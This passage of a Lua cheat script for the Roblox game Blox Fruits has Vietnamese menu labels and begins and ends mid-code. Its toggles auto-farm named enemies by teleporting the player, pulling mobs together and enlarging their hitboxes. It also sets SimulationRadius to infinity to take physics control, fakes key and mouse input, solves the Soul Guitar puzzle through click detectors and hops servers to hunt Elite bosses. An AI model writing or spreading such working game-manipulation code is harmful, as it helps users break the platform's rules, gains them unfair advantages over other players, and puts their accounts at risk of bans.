if \_G.sungtegiac and StartMagnetBoneMon0 and (v.Name == "Forest Pirate [Lv. 1825]" or v.Name == "Mythological Pirate [Lv. 1850]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.sungtegiac and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Forest Pirate [Lv. 1825]") or game:GetService("Workspace").Enemies:FindFirstChild("Mythological Pirate [Lv. 1850]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Forest Pirate [Lv. 1825]" or v.Name == "Mythological Pirate [Lv. 1850]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.sungtegiac == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Forest Pirate [Lv. 1825]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Mythological Pirate [Lv. 1850]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-13236.1562, 498.396881, -7391.92578, -0.97221452, 0.00935605634, 0.233904749, -9.27248038e-08, 0.999201, -0.0399678573, -0.234091789, -0.0388573445, -0.971437633))

end

end)

end

end

end)

if World3 then

Main:Toggle("Farm Xương + Qủy Hồn",\_G.Auto\_Farm\_Bone,function(value)

\_G.Auto\_Farm\_Bone = value

\_G.click = value

StopTween(\_G.Auto\_Farm\_Bone)

end)

end

if World3 then

Main:Toggle("Farm Thuốc Súng + Sắt Vụn + Da",\_G.thuocsung,function(value)

\_G.thuocsung = value

\_G.click = value

StopTween(\_G.thuocsung)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.thuocsung and StartMagnetBoneMon0 and (v.Name == "Pirate Millionaire [Lv. 1500]" or v.Name == "Pistol Billionaire [Lv. 1525]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.thuocsung and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Pirate Millionaire [Lv. 1500]") or game:GetService("Workspace").Enemies:FindFirstChild("Pistol Billionaire [Lv. 1525]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Pirate Millionaire [Lv. 1500]" or v.Name == "Pistol Billionaire [Lv. 1525]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.thuocsung == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Pirate Millionaire [Lv. 1500]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Pistol Billionaire [Lv. 1525]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-365.666595, 117.939133, 5693.16406, -0.816793561, 0.0465646833, -0.57504791, -0.0777302086, 0.978767455, 0.18966338, 0.571669877, 0.199614406, -0.795831442))

end

end)

end

end

end)

if World2 then

Main:Toggle("Farm Nước Mắt Thần Bí",\_G.nuocmat,function(value)

\_G.nuocmat = value

\_G.click = value

StopTween(\_G.nuocmat)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.nuocmat and StartMagnetBoneMon0 and (v.Name == "Sea Soldier [Lv. 1425]" or v.Name == "Water Fighter [Lv. 1450]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.nuocmat and World2 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Sea Soldier [Lv. 1425]") or game:GetService("Workspace").Enemies:FindFirstChild("Water Fighter [Lv. 1450]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Sea Soldier [Lv. 1425]" or v.Name == "Water Fighter [Lv. 1450]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.nuocmat == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Sea Soldier [Lv. 1425]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Water Fighter [Lv. 1450]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-3453.16968, 220.563583, -10075.1094, -0.330088317, -0.0376721062, -0.943198025, 1.99885108e-07, 0.999203265, -0.0399090722, 0.943950057, -0.0131737087, -0.329825401))

end

end)

end

end

end)

if World2 then

Main:Toggle("Farm Quặng Nham Thạch",\_G.magma,function(value)

\_G.magma = value

\_G.click = value

StopTween(\_G.magma)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.magma and StartMagnetBoneMon0 and (v.Name == "Lava Pirate [Lv. 1200]" or v.Name == "Magma Ninja [Lv. 1175]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.magma and World2 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Lava Pirate [Lv. 1200]") or game:GetService("Workspace").Enemies:FindFirstChild("Magma Ninja [Lv. 1175]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Lava Pirate [Lv. 1200]" or v.Name == "Magma Ninja [Lv. 1175]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.magma == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Lava Pirate [Lv. 1200]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Magma Ninja [Lv. 1175]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-5468.05127, 88.8360977, -5257.60352, -0.309589148, 0.341049701, -0.887603343, -3.83708721e-06, 0.933463514, 0.358672142, 0.950870454, 0.111044422, -0.288988858))

end

end)

end

end

end)

if World2 then

Main:Toggle("Farm Chất Kì Dị ",\_G.Auto\_Farm\_Ectoplasm,function(value)

\_G.Auto\_Farm\_Ectoplasm = value

StopTween(\_G.Auto\_Farm\_Ectoplasm)

end)

end

if World2 then

Main:Toggle("Farm Răng Nanh",\_G.rangnanh,function(value)

\_G.rangnanh = value

\_G.click = value

StopTween(\_G.rangnanh)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.rangnanh and StartMagnetBoneMon0 and (v.Name == "Vampire [Lv. 975]") and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.rangnanh and World2 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Vampire [Lv. 975]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Vampire [Lv. 975]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.rangnanh == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Vampire [Lv. 975]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-6024.91162, 8.08108234, -1333.36536, 0.757470608, -0.230375275, 0.610872746, 0.0393686853, 0.950088799, 0.309485704, -0.651681185, -0.210377052, 0.728733957))

end

end)

end

end

end)

if World2 then

Main:Toggle("Farm Chất Phóng Xạ ",\_G.chatpong,function(value)

\_G.chatpong = value

\_G.click = value

StopTween(\_G.chatpong)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.chatpong and StartMagnetBoneMon0 and (v.Name == "Factory Staff [Lv. 800]") and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.chatpong and World2 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Factory Staff [Lv. 800]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Factory Staff [Lv. 800]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.chatpong == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Factory Staff [Lv. 800]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(120.758049, 230.459641, 44.9202576, -0.649630189, -0.0354530364, 0.759423316, 0.0171204768, 0.997976601, 0.0612350255, -0.760057569, 0.0527818501, -0.647708774))

end

end)

end

end

end)

if World2 then

Main:Toggle("Farm Sắt Vụn + Da ",\_G.shinap,function(value)

\_G.shinapo = value

\_G.click = value

StopTween(\_G.shinap)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.shinapo and StartMagnetBoneMon0 and (v.Name == "Mercenary [Lv. 725]") and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.shinapo and World2 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Mercenary [Lv. 725]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Mercenary [Lv. 725]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.shinapo == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Mercenary [Lv. 725]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-1022.05206, 106.999367, 1339.79431, -0.949959159, 0.050269112, -0.308302581, 0.0442627147, 0.998669744, 0.0264495909, 0.309222162, 0.0114797652, -0.950920582))

end

end)

end

end

end)

Weapon:Seperator("SeaBeasts")

Weapon:Toggle("Tự Động Đánh Sea Beasts",\_G.SeaBeasts1,function(value)

\_G.SeaBeasts1 = value

StopTween(\_G.SeaBeasts1)

end)

spawn(function()

pcall(function()

while wait(0.1) do

if \_G.SeaBeasts1 then

for i,v in pairs(game:GetService("Workspace").SeaBeasts:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") then

topos(v.HumanoidRootPart.CFrame\*CFrame.new(20,450,0))

for i,v in pairs(game:GetService("Workspace").SeaBeasts.SeaBeast1:GetChildren()) do

if v.Name == "HumanoidRootPart" then

two(v.CFrame\*CFrame.new(20,450,0))

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v:IsA("Tool") then

if v.ToolTip == "Melee" then -- "Blox Fruit" , "Sword" , "Wear" , "Agility"

game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)

end

end

end

game:GetService("VirtualInputManager"):SendKeyEvent(true,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(0.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(0.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v:IsA("Tool") then

if v.ToolTip == "Blox Fruit" then -- "Blox Fruit" , "Sword" , "Wear" , "Agility"

game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)

end

end

end

game:GetService("VirtualInputManager"):SendKeyEvent(true,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(0.3)

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v:IsA("Tool") then

if v.ToolTip == "Sword" then -- "Blox Fruit" , "Sword" , "Wear" , "Agility"

game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)

end

end

end

game:GetService("VirtualInputManager"):SendKeyEvent(true,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(0.3)

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v:IsA("Tool") then

if v.ToolTip == "Gun" then -- "Blox Fruit" , "Sword" , "Wear" , "Agility"

game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)

end

end

end

game:GetService("VirtualInputManager"):SendKeyEvent(true,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,122,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,120,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

wait(.3)

game:GetService("VirtualInputManager"):SendKeyEvent(true,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

game:GetService("VirtualInputManager"):SendKeyEvent(false,99,false,game.Players.LocalPlayer.Character.HumanoidRootPart)

end

end

end

end

end

end

end)

end)

if World3 then

Weapon:Seperator("Elite Hunter")

local Total\_Elite\_Hunter = Weapon:Label("Elite Hunter")

local Elite\_Hunter\_Status = Weapon:Label("Status")

spawn(function()

while wait() do

pcall(function()

if game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]") or game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]") or game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Diablo [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Deandre [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Urban [Lv. 1750]") then

Elite\_Hunter\_Status:Set("Status : Đã Có Elite Hunter")

else

Elite\_Hunter\_Status:Set("Status : Chưa Có Elite Hunter")

end

end)

end

end)

spawn(function()

while wait() do

Total\_Elite\_Hunter:Set("Total Elite Hunter : "..game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("EliteHunter","Progress"))

end

end)

Weapon:Toggle("Tự Động Đánh Elite Hunter",\_G.Auto\_Elite\_Hunter,function(value)

\_G.Auto\_Elite\_Hunter = value

\_G.click = value

StopTween(\_G.Auto\_Elite\_Hunter)

end)

Weapon:Toggle("Đổi Sever Đánh Elite Hunter",\_G.Auto\_Elite\_Hunter\_Hop,function(value)

\_G.Auto\_Elite\_Hunter\_Hop = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Elite\_Hunter and World3 then

pcall(function()

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Diablo") or string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Deandre") or string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Urban") then

if game:GetService("Workspace").Enemies:FindFirstChild("Diablo [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Deandre [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Urban [Lv. 1750]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Diablo [Lv. 1750]" or v.Name == "Deandre [Lv. 1750]" or v.Name == "Urban [Lv. 1750]" then

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Elite\_Hunter == false or v.Humanoid.Health <= 0 or not v.Parent

end

end

end

else

if game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

elseif game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

elseif game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

end

end

end

else

if \_G.Auto\_Elite\_Hunter\_Hop and game:GetService("ReplicatedStorage").Remotes["CommF\_"]:InvokeServer("EliteHunter") == "I don't have anything for you right now. Come back later." then

hop()

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("EliteHunter")

end

end

end)

end

end

end)

Weapon:Seperator(" Soul Guitar ")

Weapon:Toggle("Lấy Soul Guitar",\_G.AutoNevaSoulGuitar,function(value)

\_G.AutoNevaSoulGuitar = value

\_G.click = value

StopTween(\_G.AutoNevaSoulGuitar)

end)

spawn(function()

while wait() do

pcall(function()

if \_G.AutoNevaSoulGuitar then

if GetWeaponInventory("Soul Guitar") == false then

if (CFrame.new(-9681.458984375, 6.139880657196045, 6341.3720703125).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 5000 then

if game:GetService("Workspace").NPCs:FindFirstChild("Skeleton Machine") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("soulGuitarBuy",true)

else

if game:GetService("Workspace").Map["Haunted Castle"].Candle1.Transparency == 0 then

if game:GetService("Workspace").Map["Haunted Castle"].Placard1.Left.Part.Transparency == 0 then

Quest2 = true

repeat wait() topos(CFrame.new(-8762.69140625, 176.84783935546875, 6171.3076171875)) until (CFrame.new(-8762.69140625, 176.84783935546875, 6171.3076171875).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.AutoNevaSoulGuitar

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard7.Left.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard6.Left.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard5.Left.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard4.Right.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard3.Left.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard2.Right.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"].Placard1.Right.ClickDetector)

wait(1)

elseif game:GetService("Workspace").Map["Haunted Castle"].Tablet.Segment1:FindFirstChild("ClickDetector") then

if game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part1:FindFirstChild("ClickDetector") then

Quest4 = true

repeat wait() topos(CFrame.new(-9553.5986328125, 65.62338256835938, 6041.58837890625)) until (CFrame.new(-9553.5986328125, 65.62338256835938, 6041.58837890625).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.AutoNevaSoulGuitar

wait(1)

topos(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part3.CFrame)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part3.ClickDetector)

wait(1)

topos(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part4.CFrame)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part4.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part4.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part4.ClickDetector)

wait(1)

topos(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part6.CFrame)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part6.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part6.ClickDetector)

wait(1)

topos(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part8.CFrame)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part8.ClickDetector)

wait(1)

topos(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part10.CFrame)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part10.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part10.ClickDetector)

wait(1)

fireclickdetector(game:GetService("Workspace").Map["Haunted Castle"]["Lab Puzzle"].ColorFloor.Model.Part10.ClickDetector)

else

Quest3 = true

--Not Work Yet

end

else

if game:GetService("Workspace").NPCs:FindFirstChild("Ghost") then

local args = {

[1] = "GuitarPuzzleProgress",

[2] = "Ghost"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Workspace.Enemies:FindFirstChild("Living Zombie [Lv. 2000]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == "Living Zombie [Lv. 2000]" then

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame \* CFrame.new(0,20,0)

